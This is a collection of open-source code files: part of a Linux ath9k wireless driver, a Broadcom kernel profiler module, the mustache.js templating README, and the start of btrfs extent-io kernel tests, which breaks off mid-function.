aModeRefSel = 3; } else if ((freq % 10) == 0) { aModeRefSel = 2; } if (aModeRefSel) break; case 1: default: aModeRefSel = 0; fracMode = 1; refDivA = 1; channelSel = (freq * 0x8000) / 15; REG_RMW_FIELD(ah, AR_AN_SYNTH9, AR_AN_SYNTH9_REFDIVA, refDivA); } if (!fracMode) { ndiv = (freq * (refDivA >> aModeRefSel)) / 60; channelSel = ndiv & 0x1ff; channelFrac = (ndiv & 0xfffffe00) * 2; channelSel = (channelSel << 17) | channelFrac; } } reg32 = reg32 | (bMode << 29) | (fracMode << 28) | (aModeRefSel << 26) | (channelSel); REG_WRITE(ah, AR_PHY_SYNTH_CONTROL, reg32); ah->curchan = chan; ah->curchan_rad_index = -1; return true; } static void ath9k_phy_modify_rx_buffer(u32 *rfBuf, u32 reg32, u32 numBits, u32 firstBit, u32 column) { u32 tmp32, mask, arrayEntry, lastBit; int32_t bitPosition, bitsLeft; tmp32 = ath9k_hw_reverse_bits(reg32, numBits); arrayEntry = (firstBit - 1) / 8; bitPosition = (firstBit - 1) % 8; bitsLeft = numBits; while (bitsLeft > 0) { lastBit = (bitPosition + bitsLeft > 8) ? 8 : bitPosition + bitsLeft; mask = (((1 << lastBit) - 1) ^ ((1 << bitPosition) - 1)) << (column * 8); rfBuf[arrayEntry] &= ~mask; rfBuf[arrayEntry] |= ((tmp32 << bitPosition) << (column * 8)) & mask; bitsLeft -= 8 - bitPosition; tmp32 = tmp32 >> (8 - bitPosition); bitPosition = 0; arrayEntry++; } } bool ath9k_hw_set_rf_regs(struct ath_hw *ah, struct ath9k_channel *chan, u16 modesIndex) { u32 eepMinorRev; u32 ob5GHz = 0, db5GHz = 0; u32 ob2GHz = 0, db2GHz = 0; int regWrites = 0; if (AR_SREV_9280_10_OR_LATER(ah)) return true; eepMinorRev = ah->eep_ops->get_eeprom(ah, EEP_MINOR_REV); RF_BANK_SETUP(ah->analogBank0Data, &ah->iniBank0, 1); RF_BANK_SETUP(ah->analogBank1Data, &ah->iniBank1, 1); RF_BANK_SETUP(ah->analogBank2Data, &ah->iniBank2, 1); RF_BANK_SETUP(ah->analogBank3Data, &ah->iniBank3, modesIndex); { int i; for (i = 0; i < ah->iniBank6TPC.ia_rows; i++) { ah->analogBank6Data[i] = INI_RA(&ah->iniBank6TPC, i, modesIndex); } } if (eepMinorRev >= 2) { if (IS_CHAN_2GHZ(chan)) { ob2GHz = ah->eep_ops->get_eeprom(ah, EEP_OB_2); db2GHz = ah->eep_ops->get_eeprom(ah, EEP_DB_2); ath9k_phy_modify_rx_buffer(ah->analogBank6Data, ob2GHz, 3, 197, 0); ath9k_phy_modify_rx_buffer(ah->analogBank6Data, db2GHz, 3, 194, 0); } else { ob5GHz = ah->eep_ops->get_eeprom(ah, EEP_OB_5); db5GHz = ah->eep_ops->get_eeprom(ah, EEP_DB_5); ath9k_phy_modify_rx_buffer(ah->analogBank6Data, ob5GHz, 3, 203, 0); ath9k_phy_modify_rx_buffer(ah->analogBank6Data, db5GHz, 3, 200, 0); } } RF_BANK_SETUP(ah->analogBank7Data, &ah->iniBank7, 1); REG_WRITE_RF_ARRAY(&ah->iniBank0, ah->analogBank0Data, regWrites); REG_WRITE_RF_ARRAY(&ah->iniBank1, ah->analogBank1Data, regWrites); REG_WRITE_RF_ARRAY(&ah->iniBank2, ah->analogBank2Data, regWrites); REG_WRITE_RF_ARRAY(&ah->iniBank3, ah->analogBank3Data, regWrites); REG_WRITE_RF_ARRAY(&ah->iniBank6TPC, ah->analogBank6Data, regWrites); REG_WRITE_RF_ARRAY(&ah->iniBank7, ah->analogBank7Data, regWrites); return true; } void ath9k_hw_rfdetach(struct ath_hw *ah) { if (ah->analogBank0Data != NULL) { kfree(ah->analogBank0Data); ah->analogBank0Data = NULL; } if (ah->analogBank1Data != NULL) { kfree(ah->analogBank1Data); ah->analogBank1Data = NULL; } if (ah->analogBank2Data != NULL) { kfree(ah->analogBank2Data); ah->analogBank2Data = NULL; } if (ah->analogBank3Data != NULL) { kfree(ah->analogBank3Data); ah->analogBank3Data = NULL; } if (ah->analogBank6Data != NULL) { kfree(ah->analogBank6Data); ah->analogBank6Data = NULL; } if (ah->analogBank6TPCData != NULL) { kfree(ah->analogBank6TPCData); ah->analogBank6TPCData = NULL; } if (ah->analogBank7Data != NULL) { kfree(ah->analogBank7Data); ah->analogBank7Data = NULL; } if (ah->addac5416_21 != NULL) { kfree(ah->addac5416_21); ah->addac5416_21 = NULL; } if (ah->bank6Temp != NULL) { kfree(ah->bank6Temp); ah->bank6Temp = NULL; } } bool ath9k_hw_init_rf(struct ath_hw *ah, int *status) { if (!AR_SREV_9280_10_OR_LATER(ah)) { ah->analogBank0Data = kzalloc((sizeof(u32) * ah->iniBank0.ia_rows), GFP_KERNEL); ah->analogBank1Data = kzalloc((sizeof(u32) * ah->iniBank1.ia_rows), GFP_KERNEL); ah->analogBank2Data = kzalloc((sizeof(u32) * ah->iniBank2.ia_rows), GFP_KERNEL); ah->analogBank3Data = kzalloc((sizeof(u32) * ah->iniBank3.ia_rows), GFP_KERNEL); ah->analogBank6Data = kzalloc((sizeof(u32) * ah->iniBank6.ia_rows), GFP_KERNEL); ah->analogBank6TPCData = kzalloc((sizeof(u32) * ah->iniBank6TPC.ia_rows), GFP_KERNEL); ah->analogBank7Data = kzalloc((sizeof(u32) * ah->iniBank7.ia_rows), GFP_KERNEL); if (ah->analogBank0Data == NULL || ah->analogBank1Data == NULL || ah->analogBank2Data == NULL || ah->analogBank3Data == NULL || ah->analogBank6Data == NULL || ah->analogBank6TPCData == NULL || ah->analogBank7Data == NULL) { DPRINTF(ah->ah_sc, ATH_DBG_FATAL, "Cannot allocate RF banks\n"); *status = -ENOMEM; return false; } ah->addac5416_21 = kzalloc((sizeof(u32) * ah->iniAddac.ia_rows * ah->iniAddac.ia_columns), GFP_KERNEL); if (ah->addac5416_21 == NULL) { DPRINTF(ah->ah_sc, ATH_DBG_FATAL, "Cannot allocate addac5416_21\n"); *status = -ENOMEM; return false; } ah->bank6Temp = kzalloc((sizeof(u32) * ah->iniBank6.ia_rows), GFP_KERNEL); if (ah->bank6Temp == NULL) { DPRINTF(ah->ah_sc, ATH_DBG_FATAL, "Cannot allocate bank6Temp\n"); *status = -ENOMEM; return false; } } return true; } void ath9k_hw_decrease_chain_power(struct ath_hw *ah, struct ath9k_channel *chan) { int i, regWrites = 0; u32 bank6SelMask; u32 *bank6Temp = ah->bank6Temp; switch (ah->diversity_control) { case ATH9K_ANT_FIXED_A: bank6SelMask = (ah-> antenna_switch_swap & ANTSWAP_AB) ? REDUCE_CHAIN_0 : REDUCE_CHAIN_1; break; case ATH9K_ANT_FIXED_B: bank6SelMask = (ah-> antenna_switch_swap & ANTSWAP_AB) ? REDUCE_CHAIN_1 : REDUCE_CHAIN_0; break; case ATH9K_ANT_VARIABLE: return; break; default: return; break; } for (i = 0; i < ah->iniBank6.ia_rows; i++) bank6Temp[i] = ah->analogBank6Data[i]; REG_WRITE(ah, AR_PHY_BASE + 0xD8, bank6SelMask); ath9k_phy_modify_rx_buffer(bank6Temp, 1, 1, 189, 0); ath9k_phy_modify_rx_buffer(bank6Temp, 1, 1, 190, 0); ath9k_phy_modify_rx_buffer(bank6Temp, 1, 1, 191, 0); ath9k_phy_modify_rx_buffer(bank6Temp, 1, 1, 192, 0); ath9k_phy_modify_rx_buffer(bank6Temp, 1, 1, 193, 0); ath9k_phy_modify_rx_buffer(bank6Temp, 1, 1, 222, 0); ath9k_phy_modify_rx_buffer(bank6Temp, 1, 1, 245, 0); ath9k_phy_modify_rx_buffer(bank6Temp, 1, 1, 246, 0); ath9k_phy_modify_rx_buffer(bank6Temp, 1, 1, 247, 0); REG_WRITE_RF_ARRAY(&ah->iniBank6, bank6Temp, regWrites); REG_WRITE(ah, AR_PHY_BASE + 0xD8, 0x00000053); #ifdef ALTER_SWITCH REG_WRITE(ah, PHY_SWITCH_CHAIN_0, (REG_READ(ah, PHY_SWITCH_CHAIN_0) & ~0x38) | ((REG_READ(ah, PHY_SWITCH_CHAIN_0) >> 3) & 0x38)); #endif }
gpl-2.0
baran0119/kernel_samsung_baffinlitexx
arch/arm/plat-kona/pi_profiler.c
8354
/***************************************************************************** * * @file pi_profiler.c * * Kona Power Island Profiler * * Copyright 2012 Broadcom Corporation. All rights reserved. * * Unless you and Broadcom execute a separate written software license * agreement governing use of this software, this software is licensed to you * under the terms of the GNU General Public License version 2, available at * http://www.broadcom.com/licenses/GPLv2.php (the "GPL"). * * Notwithstanding the above, under no circumstances may you combine this * software in any way with any other Broadcom software provided under a * license other than the GPL, without Broadcom's express prior written * consent. *****************************************************************************/ #include <linux/module.h> #include <linux/kernel.h> #include <linux/device.h> #include <linux/list.h> #include <linux/errno.h> #include <linux/err.h> #include <linux/string.h> #include <linux/uaccess.h> #include <linux/delay.h> #include <linux/time.h> #include <linux/io.h> #include <asm/io.h> #include <linux/mutex.h> #include <linux/debugfs.h> #include <plat/profiler.h> #include <plat/pi_profiler.h> #include <plat/pwr_mgr.h> #include <plat/pi_mgr.h> #include <mach/kona_timer.h> #include <linux/hrtimer.h> static struct dentry *dentry_root_dir; static struct dentry *dentry_pi_dir; static unsigned long init; #define PI_PROF_REG_ADDR(pi, offset) \ ((u32)(pi->pi_prof_addr_base + offset)) static int pi_prof_init(struct profiler *profiler) { profiler_dbg("%s\n", __func__); return 0; } static int pi_prof_start(struct profiler *profiler, int start) { struct pi_profiler *pi_profiler = container_of(profiler, struct pi_profiler, profiler); profiler_dbg("%s\n", __func__); if (start == 1) { pi_profiler->profiler.flags = PROFILER_RUNNING; pwr_mgr_pi_counter_enable(pi_profiler->pi_id, true); } else { pi_profiler->profiler.flags = 0; pwr_mgr_pi_counter_enable(pi_profiler->pi_id, false); } return 0; } static int pi_prof_status(struct profiler *profiler) { return profiler->flags; } static int pi_prof_get_counter(struct profiler *profiler, unsigned long *counter, int *overflow) { struct pi_profiler *pi_profiler = container_of(profiler, struct pi_profiler, profiler); struct pi *pi = pi_mgr_get(pi_profiler->pi_id); if (!pi) return -ENODEV; *overflow = 0; *counter = pwr_mgr_pi_counter_read(pi_profiler->pi_id, (bool *)overflow); return 0; } static int pi_prof_print(struct profiler *profiler) { unsigned long counter = 0; int err; int len_name, len_raw_cnt, len_ms_cnt, overflow; u8 buffer[32]; u8 str_raw_cnt[] = "RAW_CNT:"; u8 str_ms_cnt[] = "MS_CNT:"; profiler_dbg("%s\n", __func__); err = pi_prof_get_counter(profiler, &counter, &overflow); if (err < 0) return err; len_name = strlen(profiler->name); len_raw_cnt = strlen(str_raw_cnt); len_ms_cnt = strlen(str_ms_cnt); memcpy(buffer, profiler->name, len_name); memcpy(buffer + len_name, str_raw_cnt, len_raw_cnt); memcpy(buffer + len_name + len_raw_cnt, str_ms_cnt, len_ms_cnt); profiler_print(buffer); return 0; } int pi_prof_clear_counter(struct pi_profiler *pi_profiler) { pm_mgr_pi_count_clear(true); return 0; } static int set_pi_prof_start(void *data, u64 start) { struct pi_profiler *pi_profiler = data; int err = 0; if (start == 1) { pi_profiler->profiler.start_time = ktime_to_ms(ktime_get()); err = pi_profiler->profiler.ops->start(&pi_profiler->profiler, 1); if (err < 0) pr_err("Failed to start PI profiler %s\n", pi_profiler->profiler.name); pm_mgr_pi_count_clear(false); pi_profiler->profiler.stop_time = 0; pi_profiler->profiler.running_time = 0; } else if (start == 0) { if (!pi_profiler->profiler.ops->status( &pi_profiler->profiler)) return 0; pi_profiler->profiler.ops->get_counter( &pi_profiler->profiler, &pi_profiler->profiler.running_time, &pi_profiler->profiler.overflow); err = pi_profiler->profiler.ops->start(&pi_profiler->profiler, 0); pm_mgr_pi_count_clear(true); pi_profiler->profiler.stop_time = ktime_to_ms(ktime_get()); } return err; } static int get_pi_prof_start(void *data, u64 *is_running) { struct pi_profiler *pi_profiler = data; *is_running = pi_profiler->profiler.ops->status(&pi_profiler->profiler); return 0; } DEFINE_SIMPLE_ATTRIBUTE(pi_prof_start_fops, get_pi_prof_start, set_pi_prof_start, "%llu\n"); static int get_counter_open(struct inode *inode, struct file *file) { file->private_data = inode->i_private; return 0; } static int get_counter_read(struct file *file, char __user *buf, size_t len, loff_t *ppos) { struct pi_profiler *pi_profiler = file->private_data; int err = 0; int count = 0; int overflow = 0; unsigned long cnt = 0; unsigned long duration = 0; unsigned long curr_time = 0; unsigned long start_time; u8 buffer[128]; int status = pi_profiler->profiler.ops->status(&pi_profiler->profiler); if (status) { curr_time = ktime_to_ms(ktime_get()); start_time = pi_profiler->profiler.start_time; err = pi_profiler->profiler.ops->get_counter( &pi_profiler->profiler, &cnt, &overflow); duration = (curr_time - start_time); } else if (pi_profiler->profiler.stop_time) { curr_time = pi_profiler->profiler.stop_time; start_time = pi_profiler->profiler.start_time; duration = (curr_time - start_time); overflow = pi_profiler->profiler.overflow; cnt = pi_profiler->profiler.running_time; } if (status) { count = snprintf(buffer, 100, "Status: Running" \ "\t Duration = %lums \t cnt_raw = %lu" \ "\t cnt = %lu%sms\n", duration, cnt, COUNTER_TO_MS(cnt), (overflow) ? "* " : " "); } else if (pi_profiler->profiler.stop_time) { count = snprintf(buffer, 100, "Status: Stopped" \ "\t Duration = %lums \t cnt_raw = %lu" \ "\t cnt = %lu%sms\n", duration, cnt, COUNTER_TO_MS(cnt), (overflow) ? "* " : " "); } else count = snprintf(buffer, 30, "Status: Yet to begin\n"); count = simple_read_from_buffer(buf, len, ppos, buffer, count); return count; } static const struct file_operations pi_prof_counter_fops = { .open = get_counter_open, .read = get_counter_read, }; static int pi_profiler_start(struct profiler *profiler, void *data) { struct pi_profiler *pi_profiler; int ret; if (!profiler) { ret = -EINVAL; goto err; } pi_profiler = container_of(profiler, struct pi_profiler, profiler); ret = pi_profiler->profiler.ops->start(profiler, 1); if (!ret) profiler->start_time = kona_hubtimer_get_counter(); err: return ret; } struct prof_ops pi_prof_ops = { .init = pi_prof_init, .start = pi_prof_start, .status = pi_prof_status, .get_counter = pi_prof_get_counter, .print = pi_prof_print, .start_profiler = pi_profiler_start, }; struct gen_pi_prof_ops gen_pi_prof_ops = { .clear_counter = pi_prof_clear_counter, }; int pi_profiler_register(struct pi_profiler *pi_profiler) { struct dentry *dentry_dir; int err = 0; if (!pi_profiler) return -EINVAL; if (!init) return -EPERM; INIT_LIST_HEAD(&pi_profiler->profiler.node); pi_profiler->profiler.ops = &pi_prof_ops; err = profiler_register(&pi_profiler->profiler); dentry_dir = debugfs_create_dir(pi_profiler->profiler.name, dentry_pi_dir); if (!dentry_dir) goto err_out; if (!debugfs_create_file("start", S_IRUSR | S_IWUSR, dentry_dir, pi_profiler, &pi_prof_start_fops)) goto err_out; if (!debugfs_create_file("counter", S_IRUSR | S_IWUSR, dentry_dir, pi_profiler, &pi_prof_counter_fops)) goto err_out; profiler_dbg("pi registered profiler %s\n", pi_profiler->profiler.name); return 0; err_out: profiler_dbg("Failed to create directory\n"); if (dentry_dir) debugfs_remove_recursive(dentry_dir); profiler_unregister(&pi_profiler->profiler); return err; } EXPORT_SYMBOL(pi_profiler_register); int pi_profiler_unregister(struct pi_profiler *pi_profiler) { profiler_dbg("Un-registering pi profiler %s\n", pi_profiler->profiler.name); profiler_unregister(&pi_profiler->profiler); return 0; } int __init pi_profiler_init(struct dentry *prof_root_dir) { dentry_root_dir = prof_root_dir; dentry_pi_dir = debugfs_create_dir(PROFILER_PI_DIR_NAME, prof_root_dir); if (!dentry_pi_dir) return -ENOMEM; test_and_set_bit(0, &init); return 0; } EXPORT_SYMBOL(pi_profiler_init);
gpl-2.0
oscaremr/ace
web/mustache/js/node_modules/mustache/README.md
12064
# mustache.js - Logic-less {{mustache}} templates with JavaScript > What could be more logical awesome than no logic at all? [mustache.js](http://github.com/janl/mustache.js) is an implementation of the [mustache](http://mustache.github.com/) template system in JavaScript. [Mustache](http://mustache.github.com/) is a logic-less template syntax. It can be used for HTML, config files, source code - anything. It works by expanding tags in a template using values provided in a hash or object. We call it "logic-less" because there are no if statements, else clauses, or for loops. Instead there are only tags. Some tags are replaced with a value, some nothing, and others a series of values. For a language-agnostic overview of mustache's template syntax, see the `mustache(5)` [manpage](http://mustache.github.com/mustache.5.html). ## Where to use mustache.js? You can use mustache.js to render mustache templates anywhere you can use JavaScript. This includes web browsers, server-side environments such as [node](http://nodejs.org/), and [CouchDB](http://couchdb.apache.org/) views. mustache.js ships with support for both the [CommonJS](http://www.commonjs.org/) module API and the [Asynchronous Module Definition](https://github.com/amdjs/amdjs-api/wiki/AMD) API, or AMD. ## Who uses mustache.js? An updated list of mustache.js users is kept [on the Github wiki](http://wiki.github.com/janl/mustache.js/beard-competition). Add yourself or your company if you use mustache.js! ## Usage Below is quick example how to use mustache.js: var view = { title: "Joe", calc: function () { return 2 + 4; } }; var output = Mustache.render("{{title}} spends {{calc}}", view); In this example, the `Mustache.render` function takes two parameters: 1) the [mustache](http://mustache.github.com/) template and 2) a `view` object that contains the data and code needed to render the template. ## Templates A [mustache](http://mustache.github.com/) template is a string that contains any number of mustache tags. Tags are indicated by the double mustaches that surround them. `{{person}}` is a tag, as is `{{#person}}`. In both examples we refer to `person` as the tag's key. There are several types of tags available in mustache.js. ### Variables The most basic tag type is a simple variable. A `{{name}}` tag renders the value of the `name` key in the current context. If there is no such key, nothing is rendered. All variables are HTML-escaped by default. If you want to render unescaped HTML, use the triple mustache: `{{{name}}}`. You can also use `&` to unescape a variable. View: { "name": "Chris", "company": "<b>GitHub</b>" } Template: * {{name}} * {{age}} * {{company}} * {{{company}}} * {{&company}} Output: * Chris * * &lt;b&gt;GitHub&lt;/b&gt; * <b>GitHub</b> * <b>GitHub</b> JavaScript's dot notation may be used to access keys that are properties of objects in a view. View: { "name": { "first": "Michael", "last": "Jackson" }, "age": "RIP" } Template: * {{name.first}} {{name.last}} * {{age}} Output: * Michael Jackson * RIP ### Sections Sections render blocks of text one or more times, depending on the value of the key in the current context. A section begins with a pound and ends with a slash. That is, `{{#person}}` begins a `person` section, while `{{/person}}` ends it. The text between the two tags is referred to as that section's "block". The behavior of the section is determined by the value of the key. #### False Values or Empty Lists If the `person` key does not exist, or exists and has a value of `null`, `undefined`, or `false`, or is an empty list, the block will not be rendered. View: { "person": false } Template: Shown. {{#person}} Never shown! {{/person}} Output: Shown. #### Non-Empty Lists If the `person` key exists and is not `null`, `undefined`, or `false`, and is not an empty list the block will be rendered one or more times. When the value is a list, the block is rendered once for each item in the list. The context of the block is set to the current item in the list for each iteration. In this way we can loop over collections. View: { "stooges": [ { "name": "Moe" }, { "name": "Larry" }, { "name": "Curly" } ] } Template: {{#stooges}} <b>{{name}}</b> {{/stooges}} Output: <b>Moe</b> <b>Larry</b> <b>Curly</b> When looping over an array of strings, a `.` can be used to refer to the current item in the list. View: { "musketeers": ["Athos", "Aramis", "Porthos", "D'Artagnan"] } Template: {{#musketeers}} * {{.}} {{/musketeers}} Output: * Athos * Aramis * Porthos * D'Artagnan If the value of a section variable is a function, it will be called in the context of the current item in the list on each iteration. View: { "beatles": [ { "firstName": "John", "lastName": "Lennon" }, { "firstName": "Paul", "lastName": "McCartney" }, { "firstName": "George", "lastName": "Harrison" }, { "firstName": "Ringo", "lastName": "Starr" } ], "name": function () { return this.firstName + " " + this.lastName; } } Template: {{#beatles}} * {{name}} {{/beatles}} Output: * John Lennon * Paul McCartney * George Harrison * Ringo Starr #### Functions If the value of a section key is a function, it is called with the section's literal block of text, un-rendered, as its first argument. The second argument is a special rendering function that uses the current view as its view argument. It is called in the context of the current view object. View: { "name": "Tater", "bold": function () { return function (text, render) { return "<b>" + render(text) + "</b>"; } } } Template: {{#bold}}Hi {{name}}.{{/bold}} Output: <b>Hi Tater.</b> ### Inverted Sections An inverted section opens with `{{^section}}` instead of `{{#section}}`. The block of an inverted section is rendered only if the value of that section's tag is `null`, `undefined`, `false`, or an empty list. View: { "repos": [] } Template: {{#repos}}<b>{{name}}</b>{{/repos}} {{^repos}}No repos :({{/repos}} Output: No repos :( ### Comments Comments begin with a bang and are ignored. The following template: <h1>Today{{! ignore me }}.</h1> Will render as follows: <h1>Today.</h1> Comments may contain newlines. ### Partials Partials begin with a greater than sign, like {{> box}}. Partials are rendered at runtime (as opposed to compile time), so recursive partials are possible. Just avoid infinite loops. They also inherit the calling context. Whereas in ERB you may have this: <%= partial :next_more, :start => start, :size => size %> Mustache requires only this: {{> next_more}} Why? Because the `next_more.mustache` file will inherit the `size` and `start` variables from the calling context. In this way you may want to think of partials as includes, or template expansion, even though it's not literally true. For example, this template and partial: base.mustache: <h2>Names</h2> {{#names}} {{> user}} {{/names}} user.mustache: <strong>{{name}}</strong> Can be thought of as a single, expanded template: <h2>Names</h2> {{#names}} <strong>{{name}}</strong> {{/names}} In mustache.js an object of partials may be passed as the third argument to `Mustache.render`. The object should be keyed by the name of the partial, and its value should be the partial text. ### Set Delimiter Set Delimiter tags start with an equals sign and change the tag delimiters from `{{` and `}}` to custom strings. Consider the following contrived example: * {{ default_tags }} {{=<% %>=}} * <% erb_style_tags %> <%={{ }}=%> * {{ default_tags_again }} Here we have a list with three items. The first item uses the default tag style, the second uses ERB style as defined by the Set Delimiter tag, and the third returns to the default style after yet another Set Delimiter declaration. According to [ctemplates](http://google-ctemplate.googlecode.com/svn/trunk/doc/howto.html), this "is useful for languages like TeX, where double-braces may occur in the text and are awkward to use for markup." Custom delimiters may not contain whitespace or the equals sign. ### Compiled Templates Mustache templates can be compiled into JavaScript functions using `Mustache.compile` for improved rendering performance. If you have template views that are rendered multiple times, compiling your template into a JavaScript function will minimise the amount of work required for each re-render. Pre-compiled templates can also be generated server-side, for delivery to the browser as ready to use JavaScript functions, further reducing the amount of client side processing required for initialising templates. **Mustache.compile** Use `Mustache.compile` to compile standard Mustache string templates into reusable Mustache template functions. var compiledTemplate = Mustache.compile(stringTemplate); The function returned from `Mustache.compile` can then be called directly, passing in the template data as an argument (with an object of partials as an optional second parameter), to generate the final output. var templateOutput = compiledTemplate(templateData); **Mustache.compilePartial** Template partials can also be compiled using the `Mustache.compilePartial` function. The first parameter of this function, is the name of the partial as it appears within parent templates. Mustache.compilePartial('partial-name', stringTemplate); Compiled partials are then available to both `Mustache.render` and `Mustache.compile`. ## Plugins for JavaScript Libraries mustache.js may be built specifically for several different client libraries, including the following: - [jQuery](http://jquery.com/) - [MooTools](http://mootools.net/) - [Dojo](http://www.dojotoolkit.org/) - [YUI](http://developer.yahoo.com/yui/) - [qooxdoo](http://qooxdoo.org/) These may be built using [Rake](http://rake.rubyforge.org/) and one of the following commands: $ rake jquery $ rake mootools $ rake dojo $ rake yui $ rake qooxdoo ## Testing The mustache.js test suite uses the [vows](http://vowsjs.org/) testing framework. In order to run the tests you'll need to install [node](http://nodejs.org/). Once that's done you can install vows using [npm](http://npmjs.org/). $ npm install -g vows Then run the tests. $ vows --spec The test suite consists of both unit and integration tests. If a template isn't rendering correctly for you, you can make a test for it by doing the following: 1. Create a template file named `mytest.mustache` in the `test/_files` directory. Replace `mytest` with the name of your test. 2. Create a corresponding view file named `mytest.js` in the same directory. This file should contain a JavaScript object literal enclosed in parentheses. See any of the other view files for an example. 3. Create a file with the expected output in `mytest.txt` in the same directory. Then, you can run the test with: $ TEST=mytest vows test/render_test.js ## Thanks mustache.js wouldn't kick ass if it weren't for these fine souls: * Chris Wanstrath / defunkt * Alexander Lang / langalex * Sebastian Cohnen / tisba * J Chris Anderson / jchris * Tom Robinson / tlrobinson * Aaron Quint / quirkey * Douglas Crockford * Nikita Vasilyev / NV * Elise Wood / glytch * Damien Mathieu / dmathieu * Jakub Kuźma / qoobaa * Will Leinweber / will * dpree * Jason Smith / jhs * Aaron Gibralter / agibralter * Ross Boucher / boucher * Matt Sanford / mzsanford * Ben Cherry / bcherry * Michael Jackson / mjijackson
gpl-2.0
IntelBUAP/Repo-Linux-RT
fs/btrfs/tests/extent-io-tests.c
10833
/* * Copyright (C) 2013 Fusion IO. All rights reserved. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public * License v2 as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public * License along with this program; if not, write to the * Free Software Foundation, Inc., 59 Temple Place - Suite 330, * Boston, MA 021110-1307, USA. */ #include <linux/pagemap.h> #include <linux/sched.h> #include <linux/slab.h> #include <linux/sizes.h> #include "btrfs-tests.h" #include "../extent_io.h" #define PROCESS_UNLOCK (1 << 0) #define PROCESS_RELEASE (1 << 1) #define PROCESS_TEST_LOCKED (1 << 2) static noinline int process_page_range(struct inode *inode, u64 start, u64 end, unsigned long flags) { int ret; struct page *pages[16]; unsigned long index = start >> PAGE_SHIFT; unsigned long end_index = end >> PAGE_SHIFT; unsigned long nr_pages = end_index - index + 1; int i; int count = 0; int loops = 0; while (nr_pages > 0) { ret = find_get_pages_contig(inode->i_mapping, index, min_t(unsigned long, nr_pages, ARRAY_SIZE(pages)), pages); for (i = 0; i < ret; i++) { if (flags & PROCESS_TEST_LOCKED && !PageLocked(pages[i])) count++; if (flags & PROCESS_UNLOCK && PageLocked(pages[i])) unlock_page(pages[i]); put_page(pages[i]); if (flags & PROCESS_RELEASE) put_page(pages[i]); } nr_pages -= ret; index += ret; cond_resched(); loops++; if (loops > 100000) { printk(KERN_ERR "stuck in a loop, start %Lu, end %Lu, nr_pages %lu, ret %d\n", start, end, nr_pages, ret); break; } } return count; } static int test_find_delalloc(void) { struct inode *inode; struct extent_io_tree tmp; struct page *page; struct page *locked_page = NULL; unsigned long index = 0; u64 total_dirty = SZ_256M; u64 max_bytes = SZ_128M; u64 start, end, test_start; u64 found; int ret = -EINVAL; test_msg("Running find delalloc tests\n"); inode = btrfs_new_test_inode(); if (!inode) { test_msg("Failed to allocate test inode\n"); return -ENOMEM; } extent_io_tree_init(&tmp, &inode->i_data); /* * First go through and create and mark all of our pages dirty, we pin * everything to make sure our pages don't get evicted and screw up our * test. */ for (index = 0; index < (total_dirty >> PAGE_SHIFT); index++) { page = find_or_create_page(inode->i_mapping, index, GFP_KERNEL); if (!page) { test_msg("Failed to allocate test page\n"); ret = -ENOMEM; goto out; } SetPageDirty(page); if (index) { unlock_page(page); } else { get_page(page); locked_page = page; } } /* Test this scenario * |--- delalloc ---| * |--- search ---| */ set_extent_delalloc(&tmp, 0, 4095, NULL, GFP_KERNEL); start = 0; end = 0; found = find_lock_delalloc_range(inode, &tmp, locked_page, &start, &end, max_bytes); if (!found) { test_msg("Should have found at least one delalloc\n"); goto out_bits; } if (start != 0 || end != 4095) { test_msg("Expected start 0 end 4095, got start %Lu end %Lu\n", start, end); goto out_bits; } unlock_extent(&tmp, start, end); unlock_page(locked_page); put_page(locked_page); /* * Test this scenario * * |--- delalloc ---| * |--- search ---| */ test_start = SZ_64M; locked_page = find_lock_page(inode->i_mapping, test_start >> PAGE_SHIFT); if (!locked_page) { test_msg("Couldn't find the locked page\n"); goto out_bits; } set_extent_delalloc(&tmp, 4096, max_bytes - 1, NULL, GFP_KERNEL); start = test_start; end = 0; found = find_lock_delalloc_range(inode, &tmp, locked_page, &start, &end, max_bytes); if (!found) { test_msg("Couldn't find delalloc in our range\n"); goto out_bits; } if (start != test_start || end != max_bytes - 1) { test_msg("Expected start %Lu end %Lu, got start %Lu, end " "%Lu\n", test_start, max_bytes - 1, start, end); goto out_bits; } if (process_page_range(inode, start, end, PROCESS_TEST_LOCKED | PROCESS_UNLOCK)) { test_msg("There were unlocked pages in the range\n"); goto out_bits; } unlock_extent(&tmp, start, end); /* locked_page was unlocked above */ put_page(locked_page); /* * Test this scenario * |--- delalloc ---| * |--- search ---| */ test_start = max_bytes + 4096; locked_page = find_lock_page(inode->i_mapping, test_start >> PAGE_SHIFT); if (!locked_page) { test_msg("Could'nt find the locked page\n"); goto out_bits; } start = test_start; end = 0; found = find_lock_delalloc_range(inode, &tmp, locked_page, &start, &end, max_bytes); if (found) { test_msg("Found range when we shouldn't have\n"); goto out_bits; } if (end != (u64)-1) { test_msg("Did not return the proper end offset\n"); goto out_bits; } /* * Test this scenario * [------- delalloc -------| * [max_bytes]|-- search--| * * We are re-using our test_start from above since it works out well. */ set_extent_delalloc(&tmp, max_bytes, total_dirty - 1, NULL, GFP_KERNEL); start = test_start; end = 0; found = find_lock_delalloc_range(inode, &tmp, locked_page, &start, &end, max_bytes); if (!found) { test_msg("Didn't find our range\n"); goto out_bits; } if (start != test_start || end != total_dirty - 1) { test_msg("Expected start %Lu end %Lu, got start %Lu end %Lu\n", test_start, total_dirty - 1, start, end); goto out_bits; } if (process_page_range(inode, start, end, PROCESS_TEST_LOCKED | PROCESS_UNLOCK)) { test_msg("Pages in range were not all locked\n"); goto out_bits; } unlock_extent(&tmp, start, end); /* * Now to test where we run into a page that is no longer dirty in the * range we want to find. */ page = find_get_page(inode->i_mapping, (max_bytes + SZ_1M) >> PAGE_SHIFT); if (!page) { test_msg("Couldn't find our page\n"); goto out_bits; } ClearPageDirty(page); put_page(page); /* We unlocked it in the previous test */ lock_page(locked_page); start = test_start; end = 0; /* * Currently if we fail to find dirty pages in the delalloc range we * will adjust max_bytes down to PAGE_SIZE and then re-search. If * this changes at any point in the future we will need to fix this * tests expected behavior. */ found = find_lock_delalloc_range(inode, &tmp, locked_page, &start, &end, max_bytes); if (!found) { test_msg("Didn't find our range\n"); goto out_bits; } if (start != test_start && end != test_start + PAGE_SIZE - 1) { test_msg("Expected start %Lu end %Lu, got start %Lu end %Lu\n", test_start, test_start + PAGE_SIZE - 1, start, end); goto out_bits; } if (process_page_range(inode, start, end, PROCESS_TEST_LOCKED | PROCESS_UNLOCK)) { 